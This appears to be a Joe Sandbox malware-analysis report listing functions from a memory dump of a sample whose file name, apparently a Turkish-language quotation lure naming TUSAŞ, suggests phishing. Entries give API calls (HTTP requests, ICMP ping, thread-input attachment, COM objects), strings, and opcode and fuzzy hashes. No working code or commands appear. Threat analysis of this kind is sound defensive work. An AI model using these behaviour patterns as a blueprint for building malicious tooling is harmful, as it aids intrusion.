Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: fea6a7ce6e44ae88c3cc589d889de1511909efce99ecd088d81f491e2162c273
Instruction ID: 8ae6bc7202f448265924638e9e16372a71ef7c9aae276106fcd7337c166225a2
Opcode Fuzzy Hash: fea6a7ce6e44ae88c3cc589d889de1511909efce99ecd088d81f491e2162c273
Instruction Fuzzy Hash: CB418171A0011D9FCF10DFA8D8449ADBBB9EF08351F108069FA95E7261CF75AA45DFA0

Function 010183BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

CoInitialize.OLE32 ref: 01018403
CoUninitialize.OLE32 ref: 0101840E
CoCreateInstance.OLE32(?,00000000,00000017,01032BEC,?), ref: 0101846E
IIDFromString.OLE32(?,?), ref: 010184E1
VariantInit.OLEAUT32(?), ref: 0101857B
VariantClear.OLEAUT32(?), ref: 010185DC

Strings

NULL Pointer assignment, xrefs: 010184B3
Invalid parameter, xrefs: 010184FA
Failed to create object, xrefs: 01018479, 0101852F

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 63b6634fcf72d0885f481c777358da2b7e245721b2415d556a45f793fd371d2b
Instruction ID: 897fc17f8cf10ec6d57a1eb8aa4b01478b0fe54be18ca88aed40e457f6cdf7ad
Opcode Fuzzy Hash: 63b6634fcf72d0885f481c777358da2b7e245721b2415d556a45f793fd371d2b
Instruction Fuzzy Hash: EE619A706083129FD711DF54C848B6EBBE8EF49754F04845EFAC29B295CB78EA44CB92

Function 01015732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 01015793
inet_addr.WSOCK32(?,?,?), ref: 010157D8
gethostbyname.WSOCK32(?), ref: 010157E4
IcmpCreateFile.IPHLPAPI ref: 010157F2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 01015862
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 01015878
IcmpCloseHandle.IPHLPAPI(00000000), ref: 010158ED
WSACleanup.WSOCK32 ref: 010158F3

Strings

Ping, xrefs: 01015816

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: da48a177ca712bb46fa627ae27ccc4ea1291c444f2bed792d6284f3fbeb77102
Instruction ID: d52cf19432de51dbdede2190b6320cf10555723fe682f3c8cb75efd34091e3f1
Opcode Fuzzy Hash: da48a177ca712bb46fa627ae27ccc4ea1291c444f2bed792d6284f3fbeb77102
Instruction Fuzzy Hash: 1651B1716043019FDB20DF28DC46B2ABBE4EF8A710F044569F996EB295DB78E800DB52

Function 0100B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0100B4D0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0100B546
GetLastError.KERNEL32 ref: 0100B550
SetErrorMode.KERNEL32(00000000,READY), ref: 0100B5BD

Strings

NOTREADY, xrefs: 0100B57C
READY, xrefs: 0100B596
READONLY, xrefs: 0100B588
INVALID, xrefs: 0100B58F
UNKNOWN, xrefs: 0100B575

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: f09333af6b80af3444755e5ef2af148df39a2449ec5eb6d50dc60a482658f905
Instruction ID: 7b11e9badf09275f4636cd53ead672d6c1cad404faa4da42d826f5ea156d8517
Opcode Fuzzy Hash: f09333af6b80af3444755e5ef2af148df39a2449ec5eb6d50dc60a482658f905
Instruction Fuzzy Hash: 8F31A579A002059FE751DF68CC45FAE7BB4FF09301F1441AAE941EB2D1DB769901CB51

Function 00FF8F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Part of subcall function 00FFAA99: GetClassNameW.USER32(?,?,000000FF), ref: 00FFAABC

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00FF9014
GetDlgCtrlID.USER32 ref: 00FF901F
GetParent.USER32 ref: 00FF903B
SendMessageW.USER32(00000000,?,00000111,?), ref: 00FF903E
GetDlgCtrlID.USER32(?), ref: 00FF9047
GetParent.USER32(?), ref: 00FF9063
SendMessageW.USER32(00000000,?,?,00000111), ref: 00FF9066

Strings

ListBox, xrefs: 00FF8FD1
ComboBox, xrefs: 00FF8F9C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: e258aa6022531639acf7694555ef7ff140cb6c338ae64681e173cd5c90b627f4
Instruction ID: 9c04a728a7c92de148ed8de90209ac7b5518a2db9afeb5e1a357ff38f3ef0cd8
Opcode Fuzzy Hash: e258aa6022531639acf7694555ef7ff140cb6c338ae64681e173cd5c90b627f4
Instruction Fuzzy Hash: 7C21B2B4A00109BBDF24AFB0CC85EBEBB74EF49350F100119FA61972A1DB795819EB20

Function 00FF907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Part of subcall function 00FFAA99: GetClassNameW.USER32(?,?,000000FF), ref: 00FFAABC

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00FF90FD
GetDlgCtrlID.USER32 ref: 00FF9108
GetParent.USER32 ref: 00FF9124
SendMessageW.USER32(00000000,?,00000111,?), ref: 00FF9127
GetDlgCtrlID.USER32(?), ref: 00FF9130
GetParent.USER32(?), ref: 00FF914C
SendMessageW.USER32(00000000,?,?,00000111), ref: 00FF914F

Strings

ListBox, xrefs: 00FF90BC
ComboBox, xrefs: 00FF9087

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: df942b168750c14fa78e23003996c72a06521ef01d033f294ea5f8ac35db0625
Instruction ID: 21126cf7a5dffb3d16521d806bc0b9b64cf3cc102e3921c643cee19bbd8b6567
Opcode Fuzzy Hash: df942b168750c14fa78e23003996c72a06521ef01d033f294ea5f8ac35db0625
Instruction Fuzzy Hash: D121C4B4A00109BBDF20AFA0CC89FFEBB74EF49300F100019FA51972A5DB794419EB20

Function 00FF9163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00FF916F
GetClassNameW.USER32(00000000,?,00000100), ref: 00FF9184
_wcscmp.LIBCMT ref: 00FF9196
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00FF9211

Strings

details, xrefs: 00FF91BF
largeicons, xrefs: 00FF91A5
list, xrefs: 00FF91F3
smallicons, xrefs: 00FF91D9
SHELLDLL_DefView, xrefs: 00FF9190

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 10448e0397efa43b7109d49a2247fd53d8047e6f9ff7279e0bda7e6ffc7f862e
Instruction ID: 6c67cc9efbb5526c374b58321db88cf62953f8bf1af7e60aca7260a4531dc07b
Opcode Fuzzy Hash: 10448e0397efa43b7109d49a2247fd53d8047e6f9ff7279e0bda7e6ffc7f862e
Instruction Fuzzy Hash: FA11A73B64C30BB9EB252525DC0BFB737ACDF15770B20002AFE00E54B5EEA659517694

Function 010188AB Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 010188D7
CoInitialize.OLE32(00000000), ref: 01018904
CoUninitialize.OLE32 ref: 0101890E
GetRunningObjectTable.OLE32(00000000,?), ref: 01018A0E
SetErrorMode.KERNEL32(00000001,00000029), ref: 01018B3B
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,01032C0C), ref: 01018B6F
CoGetObject.OLE32(?,00000000,01032C0C,?), ref: 01018B92
SetErrorMode.KERNEL32(00000000), ref: 01018BA5
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 01018C25
VariantClear.OLEAUT32(?), ref: 01018C35

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: ef06001ef5396d0d357823a7eb23778556238196ecf9691c2b232ce88cf61783
Instruction ID: dcad1cdb61a8e734f9c5dfef949c68b352b2a8870247f05aefe87752098f4e2a
Opcode Fuzzy Hash: ef06001ef5396d0d357823a7eb23778556238196ecf9691c2b232ce88cf61783
Instruction Fuzzy Hash: 56C136B1208305AFD700DF68C88492BBBE9FF89748F04895DF9899B251DB75EE05CB52

Function 01007990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 01007A6C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: e4db5ab3a0aa3771b6fb1afa8e43a0de415ec2a72728c48c124cc90fe0dc0103
Instruction ID: d9e0c736ed0faa9c38062661b151cba33affd7a40e7c8ce02a6eafad0a748775
Opcode Fuzzy Hash: e4db5ab3a0aa3771b6fb1afa8e43a0de415ec2a72728c48c124cc90fe0dc0103
Instruction Fuzzy Hash: 67B1627190020A9FEB12DF98C885BBEBBF4FF49321F144469E6C1E7281D779A941CB91

Function 010011CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 010011F0
GetForegroundWindow.USER32(00000000,?,?,?,?,?,01000268,?,00000001), ref: 01001204
GetWindowThreadProcessId.USER32(00000000), ref: 0100120B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,01000268,?,00000001), ref: 0100121A
GetWindowThreadProcessId.USER32(?,00000000), ref: 0100122C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,01000268,?,00000001), ref: 01001245
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,01000268,?,00000001), ref: 01001257
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,01000268,?,00000001), ref: 0100129C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,01000268,?,00000001), ref: 010012B1
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,01000268,?,00000001), ref: 010012BC

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 729925676977cb3b924275ae2acb7f858333a88b0050a5d115c6c7c2b636064d
Instruction ID: 7cfe4f23110d39a0eb38d3baf1abb0c7747d4fe531bf5aa4d56806c6d1d956bd
Opcode Fuzzy Hash: 729925676977cb3b924275ae2acb7f858333a88b0050a5d115c6c7c2b636064d
Instruction Fuzzy Hash: DB31CEB5600204BBFB329F68D988FA93BFDEB58351F214155F980C61DAD77AD9408B60

Function 00FAFA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00FAFAA6
OleUninitialize.OLE32(?,00000000), ref: 00FAFB45
UnregisterHotKey.USER32(?), ref: 00FAFC9C
DestroyWindow.USER32(?), ref: 00FE45D6
FreeLibrary.KERNEL32(?), ref: 00FE463B
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00FE4668

Strings

close all, xrefs: 00FAFAA1

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: b52c6a7b1a85bfe707faf5e14f05b3ba59ef3ab0e013f581b40f22367e981493
Instruction ID: ddcf3b1f50a67b3f0fac59644f2890aadbef0ec4b3f37e1fbc2bff158c06c182
Opcode Fuzzy Hash: b52c6a7b1a85bfe707faf5e14f05b3ba59ef3ab0e013f581b40f22367e981493
Instruction Fuzzy Hash: C5A18F71701212CFCB29EF55C994B69F364BF06760F5442ADE80AAB261CB34ED16EF50

Function 00FFA068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00FFA439), ref: 00FFA377

Strings

CLASS, xrefs: 00FFA0F6
CLASSNN, xrefs: 00FFA119
TEXT, xrefs: 00FFA2AE
NAME, xrefs: 00FFA1A9
REGEXPCLASS, xrefs: 00FFA13C
INSTANCE, xrefs: 00FFA285

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: b7c9c217c3dda5faff46c68c494e5a61a168839270986da940a00ce0fbaf1cdd
Instruction ID: ca9141afbb1ac5e68058d1e1bb2830ca266b0740c8a95c3b3e20d23e96058db5
Opcode Fuzzy Hash: b7c9c217c3dda5faff46c68c494e5a61a168839270986da940a00ce0fbaf1cdd
Instruction Fuzzy Hash: 1291B7B1A0060ADACB08EF60C842BFEFB74BF04350F548119D95DA7261DF356959FBA1

Function 00FA2E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00FA2EAE

Part of subcall function 00FA1DB3: GetClientRect.USER32(?,?), ref: 00FA1DDC
Part of subcall function 00FA1DB3: GetWindowRect.USER32(?,?), ref: 00FA1E1D
Part of subcall function 00FA1DB3: ScreenToClient.USER32(?,?), ref: 00FA1E45

GetDC.USER32 ref: 00FDCD32
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00FDCD45
SelectObject.GDI32(00000000,00000000), ref: 00FDCD53
SelectObject.GDI32(00000000,00000000), ref: 00FDCD68
ReleaseDC.USER32(?,00000000), ref: 00FDCD70
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00FDCDFB

Strings

U, xrefs: 00FDCCD0

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: f7be95dfd9aaaa281b362280279fb46ccdf6395633d3228249c83b6e1c364bc0
Instruction ID: 2a0467de679854fee67b6ee4bc812221f5df14b0dbe190016389e5346b60ffe2
Opcode Fuzzy Hash: f7be95dfd9aaaa281b362280279fb46ccdf6395633d3228249c83b6e1c364bc0
Instruction Fuzzy Hash: 9571A471900206DFCF319F64CC84AAA7BB7FF49360F18426BED955A255C7359C81EB90

Function 01011A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 01011A50
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 01011A7C
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 01011ABE
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 01011AD3
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 01011AE0
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 01011B10
InternetCloseHandle.WININET(00000000), ref: 01011B57

Part of subcall function 01012483: GetLastError.KERNEL32(?,?,01011817,00000000,00000000,00000001), ref: 01012498
Part of subcall function 01012483: SetEvent.KERNEL32(?,?,01011817,00000000,00000000,00000001), ref: 010124AD

Strings

, xrefs: 01011B01

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: f50984c9dd977c69267c126fdd6726e9863df8282e02902aef12bcd558b5db24
Instruction ID: 55d240b1ef48634011a2a71b536a80d20b0c882d7d18e5df5d99e9ea534ccb3e
Opcode Fuzzy Hash: f50984c9dd977c69267c126fdd6726e9863df8282e02902aef12bcd558b5db24
Instruction Fuzzy Hash: C641A3B1500209BFEB168F64CC89FFF7BACFF08354F104156FA859A149E7799A408BA0

Function 01018C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,0102F910), ref: 01018D28
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0102F910), ref: 01018D5C
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 01018ED6
SysFreeString.OLEAUT32(?), ref: 01018F00

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 35c18b5f9f82acf6b00fca9ac95b05ac9b7608db650ebc2c9ae700b65e939587
Instruction ID: 951e26c988f57dcba0c5b82ce2c07a59ea470626dbf83ab8655fad7348dd33b5
Opcode Fuzzy Hash: 35c18b5f9f82acf6b00fca9ac95b05ac9b7608db650ebc2c9ae700b65e939587
